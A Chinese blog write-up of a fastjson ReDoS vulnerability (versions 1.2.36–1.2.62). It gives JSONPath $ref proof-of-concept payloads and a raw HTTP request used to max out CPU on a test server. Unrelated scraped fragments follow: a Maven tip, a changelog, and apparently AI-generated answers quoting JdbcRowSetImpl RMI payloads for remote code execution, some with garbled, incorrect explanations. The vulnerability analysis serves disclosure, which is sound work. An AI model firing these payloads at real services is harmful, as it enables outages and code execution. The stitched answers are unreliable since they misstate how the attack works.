朋友说最近fastjson又出新洞了,我就再研究了一遍fastjson,结果又找出来了一个拒绝服务漏洞,所以有了这篇文章。目前该漏洞已在最新版本被修复,使用版本<=1.2.62的建议更新到>=1.2.66版本。
影响范围:
1.2.36 - 1.2.62
首先导入1.2.62版本的fastjson
com.alibaba fastjson 1.2.62
JSONPath
我最开始是从 JSONPath 这个类看起的,漏洞主要也出现在 JSONPath 类。
JSONPath 是一个用于通过表达式快速的获取 JSON 对象里的数据的类。
有点类似于 Xpath、CSS选择器这种东西。
Object result = new JSONPath("$.root['item1']").eval("{\"root\":{\"item1\":\"blue\"}}");//Object result = JSONPath.eval("{\"root\":{\"item1\":\"blue\"}}", "$.root['item1']");/**result = blue**/
JSONPath#JSONPath(java.lang.String)
构造方法会将传进来的 path 赋给 this.path 属性。
跟进到
init
方法
跟进
JSONPath.JSONPathParser#explain
跟进
JSONPath.JSONPathParser#readSegement
这里当前读到的字符等于
[
就进入到
JSONPath.JSONPathParser#parseArrayAccess
JSONPath.Segment parseArrayAccess(boolean acceptBracket) { Object object = this.parseArrayAccessFilter(acceptBracket); return (JSONPath.Segment)(object instanceof JSONPath.Segment ? (JSONPath.Segment)object : new JSONPath.FilterSegment((JSONPath.Filter)object)); }
parseArrayAccess
先调用
parseArrayAccessFilter()
方法得到一个Segment对象,然后将它再实例化为
FilterSegment
对象。
JSONPath
第3117行处当读取到的操作符为
RLIKE
或
NOT_RLIKE
时就会返回一个
JSONPath.RlikeSegement
对象
propertyName 是操作符左边的值,name是操作符右边的值。
比如
[var rlike 'regex']
propertyName=var , name=regex
返回到
init()
方法
this.segments
最终得到了一个内嵌
RlikeSegement
对象的
FilterSegment
数组。
再跳回到最开始的 eval 方法,
当初始化完成后开始对 segments 数组遍历,调用它们的
eval(this, rootObject, currentObject)
方法
前面提到过,数组里有一个
FilterSegment
对象,所以应该跟进到
FilterSegment#eval
方法。
filter 是
RlikeSegement
对象,所以应跟到
JSONPath.RlikeSegement#apply
。
后面就是从 currentObject 中取 propertyName 然后和正则匹配。
漏洞就出现在这个地方,当正则表达式可控时,就会造成“REDOS”正则表达式拒绝服务。
Object eval = new JSONPath("[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']").eval("{\"blue\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!\"}");
执行这一段代码你会发现在正则匹配的时候线程就阻塞在那儿不动了,并且还会耗费 CPU。
这样虽然可以让 Java 应用拒绝服务,但在大多数项目中很少能见到 JSONPath 可控的场景。
所以应该找到在解析 JSON 时的利用点。
JSON $ref
先来看常见的解析 json 对象用的静态方法
JSON.parse
这里先用
DefaultJSONParser
类对整个 json 字符串进行了 JSON 对象的转化。
跳过一些无用步骤,直接到
DefaultJSONParser#parseObject
。
首先要让key等于
$ref
满足if条件。
然后让
$ref
的值不要等于
@
、
..
和
$
就会进入 else 代码块调用 addResolveTask 方法,这个方法的作用就是给
this.resolveTaskList
集合添加一个ResolveTask对象。
再返回到
JSON#parse
,JSON解析部分结束
进入漏洞触发点
DefaultJSONParser#handleResovleTask
方法。
最终在 1508 行调用了
JSONPath.eval(value, ref);
触发漏洞。
我构造得到如下 POC 代码
{ "regex":{ "$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']" }, "blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}
另外除了
RlikeSegement
类以外还有一个
RegMatchSegement
类,同样存在REDOS漏洞,过程基本上一样所以直接放上POC。
{ "regex":{ "$ref":"$[\blue = /\^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$/]" }, "blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}
我写了一个简单的 demo 用来测试是否能够将 java 应用拒绝服务。
/** * @author 浅蓝 * @email blue@ixsec.org * @since 2019/11/17 21:16 */@RestController@RequestMapping()public class TestController { @RequestMapping("/parse") public String parse(String json){ Object parse = JSON.parse(json); return parse.toString(); }}
启动服务后我开启了 50 个线程同时向解析json的接口发起请求
POST /parse HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheContent-Type: application/x-www-form-urlencodedContent-Length: 126json={"regex"%3a{"$ref"%3a"$[blue+rlike+'^[a-zA-Z]%2b(([a-zA-Z+])%3f[a-zA-Z]*)*$']"},"blue"%3a"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}
CPU 瞬间飙升 100%
•更新版本大于等于 1.2.66
References
[1]
https://b1ue.cn/archives/314.html
关于漏洞朋友说最近fastjson又出新洞了,我就再研究了一遍fastjson,结果又找出来了一个拒绝服务漏洞,所以有了这篇文章。目前该漏洞已在最新版本被修复,使用版本<=1.2.62的建议更新到>=1.2.66版本。影响范围:1.2.36 - 1.2.62漏洞分析首先导入1.2.62版本的fastjson com.alibaba fastjson 1...
关于maven项目引入阿里巴巴
fastjson
报错:Cannot resolve com.alibaba:
fastjson
:
1.2
.70的解决方法
直接进入阿里的镜像仓库:https://maven.aliyun.com/mvn/search
然后搜索
fastjson
,找到报错的对应
版本
,例如我需要的是
1.2
.70这个
版本
搜索出了以下这些,
将其下载下来后拷贝进你本地的maven仓库中的com\alibaba\
fastjson
目录下新建的
1.2
.70目录中,然后重新更新的项目依赖就行了。
修复开始SupportNonPublicField特性后JSONField配置name不支持private字段的问题 #28
66
修复纳秒级 Timestamp 解析异常问题 #2894
日期自动识别增强对纳秒时间的支持的
支持对Queue类型的反序列化
修复JSONField 在LocalDateTime类型时 format 不生效问题
修复JSONValidator有些场景不能识别非法JSON数据的问题 #3017
加强安全防护
GitHub 15.8k Star 的Java工程师成神之路,不来了解一下吗!
GitHub 15.8k Star 的Java工程师成神之路,真的不来了解一下吗!
GitHub 15.8k Star 的Java工程师成神之路,真的真的不来了解一下吗!
fastjson
大家一定都不陌生,这是阿里巴巴的开源一个JSON解析库,通常被用于将Java Bean和JSON 字符串之间进行转换。
前段时间,
fastjson
被爆出过多次存在
漏洞
,很多文章报道了这件事儿,并且给出了升级建议。
但是作为一个开发者,我更关注的
1 API
1.1 Api文档下载
1.API (Application Programming Interface,应用程序编程接口)是 Java 提供的基本编程接口,一切可以调用的东西都是API。
2.Java语言提供了大量的基础类,因此 Oracle 也为这些基础类提供了相应的API文档,用于告诉开发者如何使用这些类,以及这些类里包含的方法。
3.下载API:
Additional Resources-Java SE 8 Documentation下载。
http://www.oracle.com/t
&
lt
;h3>回答1:&
lt
;/h3>&
lt
;br/>很抱歉,我是一名语言模型AI,无法进行复现操作。但是,我可以告诉您,
fastjson
是一种Java语言的JSON解析库,
1.2
.70是其一个
版本
号。在该
版本
中,存在一些安全
漏洞
,如反序列化
漏洞
等。如果您需要进行复现操作,建议您参考相关的安全研究资料和工具。
&
lt
;h3>回答2:&
lt
;/h3>&
lt
;br/>
Fastjson
是一款流行的Java JSON解析库,由于其解析速度快且简单易用,被广泛应用于各种Java开发场景中。然而,
Fastjson
在一些情况下存在安全
漏洞
,其中比较严重的是反序列化
漏洞
,攻击者可以利用该
漏洞
执行任意代码,造成安全风险。
Fastjson
漏洞
复现需要以下步骤:
1. 下载
Fastjson
1.2
.70
版本
并导入到Java项目中。
2. 构造payload,该payload将会触发
Fastjson
反序列化
漏洞
。下面是一段简单的payload:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
该payload使用了Java的反序列化机制,通过rmi协议获取远程代码执行权限。
3. 创建一个接受JSON格式参数的Java类,并使用
Fastjson
进行反序列化操作。以下是一段简单的Java代码:
import com.alibaba.
fastjson
.JSON;
public class
Fastjson
Test {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}";
JSON.parse(payload);
4. 运行上述代码即可触发
Fastjson
漏洞
,攻击者将可以获取到远程代码执行权限。
为了避免
Fastjson
漏洞
带来的安全风险,建议开发者使用
最新
的
Fastjson
版本
,并尽可能避免反序列化来自不可信源的JSON数据。此外,开发者还应该加强代码审计和安全测试,及时发现和修复潜在的安全
漏洞
。
&
lt
;h3>回答3:&
lt
;/h3>&
lt
;br/>
Fastjson
是一个Java的JSON处理器,它具有高效的性能和强大的功能,广泛应用于Java应用程序的开发中。但是,
Fastjson
也存在一些
漏洞
,其中一个比较危险的是
1.2
.70
版本
的反序列化
漏洞
。
这个
漏洞
可以允许攻击者远程执行任意代码,导致系统崩溃或数据泄露等严重后果。在这个
漏洞
被发现后,
Fastjson
官方已经发布了修复
版本
,因此应用程序应尽快升级到
最新
版本
以避免潜在的安全风险。
要复现这个
漏洞
,可以使用已知的payload,或者自己编写一个触发
漏洞
的Java代码。以利用
Fastjson
漏洞
的一种常见方式为例,payload如下:
{"@type":"java.lang.AutoCloseable",
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:8080/Object"}
这个payload的作用是在攻击者的机器上启动一个RMI服务,并将Java类的字节码发送到受害机器上进行反序列化。通过精心构造的字节码,攻击者可以执行任意代码。
为了让这个payload工作,需要在攻击者的机器上启动一个RMI服务,以便
Fastjson
可以连接到它并获取Java类的字节码。可以使用RMI密钥生成器(RMISecurityManager)来保护这个服务,以防止未授权的访问。
当
Fastjson
试图将这个payload反序列化时,就会执行其中包含的恶意代码,并开启RMI服务,从而导致系统受到攻击。为了避免这种情况发生,开发人员应时刻关注
Fastjson
的更新和修补程序,并尽可能使用
最新
版本
的
Fastjson
来保护应用程序的安全。同时,建议在应用程序中实施最佳安全实践,例如限制用户输入,防止SQL注入和跨站点脚本攻击等。